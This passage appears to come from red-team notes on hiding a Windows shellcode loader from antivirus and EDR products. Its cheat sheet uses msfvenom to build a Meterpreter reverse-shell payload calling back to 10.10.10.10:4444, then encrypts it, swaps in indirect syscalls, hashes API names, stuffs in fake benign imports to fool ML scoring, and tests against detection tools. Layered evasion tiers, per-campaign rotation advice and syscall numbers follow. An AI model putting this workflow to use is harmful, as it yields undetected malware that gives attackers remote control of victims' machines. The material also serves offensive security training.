| Indirect Syscalls | None | None | Yes (via ntdll gadget) | Clean | Very High | Very Low |
| Encrypted API Names | None | None | Partial | Clean | Low | Low |
| IAT Hooking (self) | Modified | None | Partial | Variable | High | Low |
| Module Stomping | Legitimate | None | Yes | Clean (trusted DLL) | High | Very Low |
15. Cheat Sheet
Quick Workflow — IAT Camouflage for Loaders
# Step 1: Generate your shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 -f raw -o payload.bin
# Step 2: Encrypt shellcode (see Shellcode Encryption notes)
python3 aes_encrypt.py # Outputs: payload.enc
# Step 3: Generate syscall stubs (eliminates suspicious IAT entries)
python3 syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,\
NtProtectVirtualMemory,NtCreateThreadEx \
--out-file syscalls \
--recovery IndirectSyscall
# Step 4: Generate API hashes (removes cleartext API strings)
python3 api_hash_generator.py > api_hashes.h
# Step 5: Build loader with camouflage
# - Use indirect syscalls (no suspicious IAT + clean call stack)
# - Add fake benign imports (dilute ML scoring)
# - Encrypt API name strings (remove string artifacts)
# - Embed encrypted shellcode in PE resource section
# Step 6: Test detection
PEStudio loader.exe # Check IAT visually
FLOSS loader.exe # Check for leaked strings
ThreatCheck.exe -f loader.exe # Find exact trigger bytes
# Step 7: Compile
cl.exe loader.c syscalls.c /Fe:loader.exe /link bcrypt.lib
# Or cross-compile:
x86_64-w64-mingw32-gcc loader.c syscalls.c -o loader.exe -lbcrypt
IAT Camouflage Quick Reference
PROBLEM: IAT shows VirtualAlloc/CreateThread
SOLUTION: Dynamic Resolution → PEB Walk + API Hashing
PROBLEM: Cleartext "VirtualAlloc" string in binary
SOLUTION: XOR-encrypt API names OR use API hashing (never need string)
PROBLEM: GetProcAddress in IAT (dynamic resolution indicator)
SOLUTION: PEB walking — never call GetProcAddress at all
PROBLEM: EDR hooks NtAllocateVirtualMemory
SOLUTION: Direct syscall → indirect syscall for cleaner stack
PROBLEM: Dirty call stack (direct syscall from loader memory)
SOLUTION: Indirect syscall → jump to ntdll's syscall;ret gadget
PROBLEM: Shellcode executes from RWX heap (flagged)
SOLUTION: RW allocation → copy → VirtualProtect(RX) → execute
OR module stomping (execute from legitimate DLL .text)
PROBLEM: IAT too empty → suspicious
SOLUTION: Add benign imports matching software cover story
(if disguised as word processor, add font/print APIs)
Technique Layering (Recommended)
Beginner:
Static imports → at minimum use Fake imports to dilute score
Intermediate:
LoadLibrary + GetProcAddress + Encrypted API name strings
→ Removes API names from static IAT
→ Strings are encrypted (not cleartext)
Advanced:
API Hashing + PEB Walking
→ Zero suspicious imports
→ Zero cleartext API strings
→ GetProcAddress not even used
Expert:
Indirect Syscalls + Module Stomping + Benign Import Stuffing
→ No IAT entries at all for dangerous APIs
→ Clean call stack (ntdll in chain)
→ Shellcode executes from legitimate module memory
→ IAT populated with category-appropriate benign imports
Per-engagement rotation:
- Change XOR key per build
- Change hash algorithm per campaign
- Rotate target module for stomping
- Randomize benign import list per payload
Benign API Quick Reference
Commonly safe imports (often appear in legit software):
TIMING:
GetTickCount, GetTickCount64, QueryPerformanceFrequency,
QueryPerformanceCounter, GetSystemTimeAsFileTime
SYSTEM INFO:
GetSystemInfo, GlobalMemoryStatusEx, GetComputerNameA,
GetUserNameA, GetUserDefaultLCID, GetUserDefaultLangID
REGISTRY (read-only):
RegOpenKeyExA, RegQueryValueExA, RegCloseKey,
RegEnumKeyExA, RegEnumValueA
FILES (read / benign paths):
GetTempPathA, GetTempFileNameA, GetFileAttributesA,
FindFirstFileA, FindNextFileA, FindClose
ENVIRONMENT:
GetEnvironmentVariableA, ExpandEnvironmentStringsA,
GetWindowsDirectoryA, GetSystemDirectoryA
UI:
MessageBoxA, GetDesktopWindow, GetForegroundWindow,
GetCursorPos, GetSystemMetrics
Key SSN Reference (Windows 11 23H2 / Windows 10 22H2)
[OPSEC]Always retrieve SSNs dynamically — they change between builds. Use SysWhispers3 / Hell's Gate.
| NT Function | Win10 22H2 SSN | Win11 23H2 SSN |
|---|---|---|
| NtAllocateVirtualMemory | 0x18 | 0x18 |
| NtWriteVirtualMemory | 0x3A | 0x3A |
| NtProtectVirtualMemory | 0x50 | 0x50 |
| NtCreateThreadEx | 0xC2 | 0xC7 |
| NtOpenProcess | 0x26 | 0x26 |
| NtReadVirtualMemory | 0x3F | 0x3F |
| NtQueueApcThread | 0x44 | 0x44 |
References & Resources
Tools: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 (syscall generation) - FreshyCalls — https://github.com/crummie5/FreshyCalls (SSN via EAT sort) - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck (AV trigger finder) - PEStudio — https://www.winitor.com/download (static PE analysis) - FLOSS — https://github.com/mandiant/flare-floss (string extraction) - Capa — https://github.com/mandiant/capa (capability identification) - RustRedOps — https://github.com/joaoviictorti/RustRedOps (IAT-Camouflage + IAT-Obfuscation examples)
Reading: - IRED.team — Windows API Hashing — https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware - MITRE ATT&CK T1027.007 — Dynamic API Resolution - Hell's Gate / Halos Gate — dynamic SSN retrieval - RedOps Blog — Indirect Syscalls — https://redops.at/blog/indirect-syscalls-and-dynamic-ssn-retrieval-via-peb-eat - MSec Operations — ML Evasion with IAT Camouflage — https://msecops.de/blog/posts/ml-evasion/ - Unprotect Project — IAT Hooking — https://unprotect.it/technique/iat-hooking/ - Arxiv — Learning to Look Benign: Targeted Evasion via API Import Injection (2025)